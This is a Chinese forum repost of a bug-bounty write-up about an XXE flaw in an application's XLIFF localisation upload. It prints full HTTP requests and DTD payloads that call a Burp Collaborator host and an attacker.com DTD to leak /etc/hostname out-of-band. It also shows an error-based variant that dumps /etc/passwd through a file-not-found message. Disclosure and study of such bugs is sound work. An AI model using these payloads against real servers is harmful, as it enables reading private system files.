搜索

[29019] 2021-06-20_【安全分析】使用XLIFF文件通过基于错误的XXE读取完整本地文件

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-06-20_【安全分析】使用XLIFF文件通过基于错误的XXE读取完整本地文件 【 安 全 分 析 】 使 用   X L I F F   文 件 通 过 基 于 错 误 的   X X E   读 取 完 整 本 地 文 件 O t s 安 全   2 0 2 1 - 0 6 - 2 0 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍     - 点 击 图 文 广 告   =   打 赏 由 于 保 护 程 序 的 隐 私 ， 本 文 中 的 某 些 信 息 （ 例 如 目 标   U R L 、 端 点 和 其 他 一 些 信 息 ） 已 被 修 改 我 喜 欢 在 具 有 很 多 功 能 的 应 用 程 序 中 查 找 错 误 。 应 用 程 序 越 复 杂 ， 它 就 越 有 可 能 存 在 错 误 。 几 次 前 ， 我 有 机 会 在 其 中 一 个   P r i v a t e   中 进 行   B u g   H u n t i n g   活 动 。 在 这 个 程 序 中 ， 有 一 个 具 有 各 种 功 能 的 复 杂 应 用 程 序 。 该 应 用 程 序 的 功 能 之 一 是 .   我 们 可 以 通 过 上 传 文 件 来 更 改 应 用 程 序 的 本 地 化 。 什 么 是 什 么 是   X L I F F   文 件 ？ 文 件 ？ 根 据 维 基 百 科 ： X L I F F （ X M L   本 地 化 交 换 文 件 格 式 ） 是 一 种 基 于   X M L   的 双 文 本 格 式 ， 旨 在 标 准 化 本 地 化 过 程 中 工 具 之 间 传 递 本 地 化 数 据 的 方 式 ， 也 是   C A T   工 具 交 换 的 通 用 格 式 。 如 您 所 见 ， X L I F F   文 件 基 于   X M L 。 哪 里 有   X M L ， 哪 里 就 有   X X E   漏 洞 。 最 初 的 测 试 是 通 过 添 加   X X E   负 载 并 将 请 求 指 向   B u r p   C o l l a b o r a t o r 。 我 用 于 我 的 有 效 载 荷 ， 因 为 不 起 作 用 ， 我 不 知 道 为 什 么 。 服 务 器 响 应 错 误 ： 但 是 我 们 在   B u r p   C o l l a b o r a t o r   上 获 得 了 成 功 ： L o c a l i z a t i o n X L I F F p a r a m e t e r   e n t i t i e s g e n e r a l   e n t i t i e s P O S T   / r e d a c t e d - e n d p o i n t   H T T P / 2 H o s t :   t a r g e t . c o m C o o k i e :   - C o n t e n t - L e n g t h :   - C a c h e - C o n t r o l :   m a x - a g e = 0 S e c - C h - U a :   "   N o t   A ; B r a n d " ; v = " 9 9 " ,   " C h r o m i u m " ; v = " 9 0 " ,   " G o o g l e   C h r o m e " ; v = " 9 0 " S e c - C h - U a - M o b i l e :   ? 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 D n t :   1 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y q B d A s E t Y a B j T A r l 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 7 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 9 0 . 0 . 4 4 3 0 . 9 3   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 S e c - F e t c h - S i t e :   s a m e - o r i g i n A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   i d - I D , i d ; q = 0 . 9 , e n - U S ; q = 0 . 8 , e n ; q = 0 . 7 , e u ; q = 0 . 6 , m s ; q = 0 . 5 C o n n e c t i o n :   c l o s e - - - - - - W e b K i t F o r m B o u n d a r y q B d A s E t Y a B j T A r l 3 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " f i l e " ;   f i l e n a m e = " x x e . x l i f f " C o n t e n t - T y p e :   a p p l i c a t i o n / x - x l i f f + x m l < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   X X E   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / r e d a c t e d . b u r p c o l l a b o r a t o r . n e t / ? x x e _ t e s t " >   % r e m o t e ;   ] > < x l i f f   s r c L a n g = " e n "   t r g L a n g = " m s - M Y "   v e r s i o n = " 2 . 0 " > < / x l i f f > - - - - - - W e b K i t F o r m B o u n d a r y q B d A s E t Y a B j T A r l 3 - - { " s t a t u s " : 5 0 0 , " e r r o r " : " I n t e r n a l   S e r v e r   E r r o r " , " m e s s a g e " : " E r r o r   s y s t e m I d :   h t t p : / / r e d a c t e d . b u r p c o l l a b o r a t o r . n e t / ? x x e _ t e s t ;   T h e   m a r k u p   d e c l a r a t i o n s   c o n t a i n e d   o r   p o i n t e d   t o   b y   t h e   d o c u m e n t   t y p e   d e c l a r a t i o n   m u s t   b e   w e l l - f o r m e d . " }
这 证 实 该 应 用 程 序 易 受   X X E   注 入 攻 击 。 通 过 带 外 泄 露 数 据 通 过 带 外 泄 露 数 据 接 下 来 是 尝 试 提 取 本 地 文 件 ， 我 创 建 一 个 外 部   D T D   并 将 其 托 管 在 我 的   V P S   中 ： 通 过 在 其 上 添 加 外 部   D T D   来 修 改 有 效 负 载 ： 然 后 我 能 够 / e t c / h o s t n a m e 在   B u r p   C o l l a b o r a t o r   请 求 中 获 取 文 件 的 内 容 。 根 据 显 示 的 用 户 代 理 ， 它 似 乎 使 用 的 是 J a v a   1 . 8 。 在 此 版 本 的   J a v a   上 利 用   X X E   的 问 题 之 一 是 我 们 无 法 使 用 带 外 技 术 获 取 包 含 N e w   L i n e 诸 如 此 类 的 文 件 / e t c / p a s s w d 。 < ! E N T I T Y   %   d a t a   S Y S T E M   " f i l e : / / / e t c / h o s t n a m e " > < ! E N T I T Y   %   f o o   " < ! E N T I T Y   & # 3 7 ;   x x e   S Y S T E M   ' h t t p s : / / r e d a c t e d . b u r p c o l l a b o r a t o r . n e t / ? x x e = % d a t a ; ' > " > % f o o ; % x x e ; P O S T   / r e d a c t e d - e n d p o i n t   H T T P / 2 H o s t :   t a r g e t . c o m C o o k i e :   - C o n t e n t - L e n g t h :   - C a c h e - C o n t r o l :   m a x - a g e = 0 S e c - C h - U a :   "   N o t   A ; B r a n d " ; v = " 9 9 " ,   " C h r o m i u m " ; v = " 9 0 " ,   " G o o g l e   C h r o m e " ; v = " 9 0 " S e c - C h - U a - M o b i l e :   ? 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 D n t :   1 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y q B d A s E t Y a B j T A r l 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 7 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 9 0 . 0 . 4 4 3 0 . 9 3   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 S e c - F e t c h - S i t e :   s a m e - o r i g i n A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   i d - I D , i d ; q = 0 . 9 , e n - U S ; q = 0 . 8 , e n ; q = 0 . 7 , e u ; q = 0 . 6 , m s ; q = 0 . 5 C o n n e c t i o n :   c l o s e - - - - - - W e b K i t F o r m B o u n d a r y q B d A s E t Y a B j T A r l 3 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " f i l e " ;   f i l e n a m e = " x x e . x l i f f " C o n t e n t - T y p e :   a p p l i c a t i o n / x - x l i f f + x m l < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   X X E   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / a t t a c k e r . c o m / e v i l . d t d " >   % r e m o t e ;   ] > < x l i f f   s r c L a n g = " e n "   t r g L a n g = " m s - M Y "   v e r s i o n = " 2 . 0 " > < / x l i f f > - - - - - - W e b K i t F o r m B o u n d a r y q B d A s E t Y a B j T A r l 3 - -
我 尝 试 使 用   F T P   进 行 渗 透 ， 但 内 容 仍 然 不 完 整 。 其 实 这 足 以 证 明 存 在 X X E 漏 洞 ， 可 以 利 用 该 漏 洞 获 取 L o c a l   F i l e s 。 但 为 了 展 示 真 正 的 影 响 ， 我 试 图 找 到 一 种 方 法 来 获 取 完 整 的 文 件 。 通 过 基 于 错 误 的 数 据 泄 露 通 过 基 于 错 误 的 数 据 泄 露 回 到 错 误 响 应 ： 我 们 可 以 看 到 在 错 误 消 息 中 有 一 个   U R L ， 我 们 将 其 放 入 有 效 负 载 中 。 这 可 用 于 获 取 本 地 文 件 的 完 整 内 容 。 可 以 在 @ p w n f u n c t i o n   的 精 彩 视 频 中 查 看 有 关 此 技 术 的 详 细 信 息 ： X X E   挑 战 赛   -   G o o g l e   C T F h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = 0 f d p F Q X W V u 4 这 个 想 法 是 通 过 获 取 本 地 文 件 并 将 其 内 容 添 加 为 文 件 文 件 名 。 因 为 该 文 件 在 服 务 器 中 不 存 在 ， 所 以 服 务 器 将 抛 出 一 个 错 误 ， 文 件 名 是 本 地 文 件 的 内 容 。 最 初 的 测 试 是 通 过 修 改   D T D   来 获 取 n o n - e x i s t 服 务 器 中 的 文 件 并 检 查 路 径 是 否 反 映 在 错 误 消 息 中 。 D T D 文 件 ： 服 务 器 响 应 ： 伟 大 的 ！ 该 n o n - e x i s t 文 件 反 映 在 错 误 消 息 中 。 接 下 来 是 添 加 文 件 内 容 。 D T D 文 件 ： 并 且 文 件 已 成 功 提 取 ！ { " s t a t u s " : 5 0 0 , " e r r o r " : " I n t e r n a l   S e r v e r   E r r o r " , " m e s s a g e " : " E r r o r   s y s t e m I d :   h t t p : / / r e d a c t e d . b u r p c o l l a b o r a t o r . n e t / ? x x e _ t e s t ;   T h e   m a r k u p   d e c l a r a t i o n s   c o n t a i n e d   o r   p o i n t e d   t o   b y   t h e   d o c u m e n t   t y p e   d e c l a r a t i o n   m u s t   b e   w e l l - f o r m e d . " } < ! E N T I T Y   %   d a t a   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   f o o   " < ! E N T I T Y   & # 3 7 ;   x x e   S Y S T E M   ' f i l e : / / / n o f i l e / ' > " > % f o o ; % x x e ; { " s t a t u s " : 5 0 0 , " e r r o r " : " I n t e r n a l   S e r v e r   E r r o r " , " m e s s a g e " : " I O   e r r o r . n R e a s o n :   / n o f i l e   ( N o   s u c h   f i l e   o r   d i r e c t o r y ) " } < ! E N T I T Y   %   d a t a   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   f o o   " < ! E N T I T Y   & # 3 7 ;   x x e   S Y S T E M   ' f i l e : / / / n o f i l e / % d a t a ; ' > " > % f o o ; % x x e ;
该 漏 洞 报 告 为   P 1   严 重 性 ， 现 在 已 修 复 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理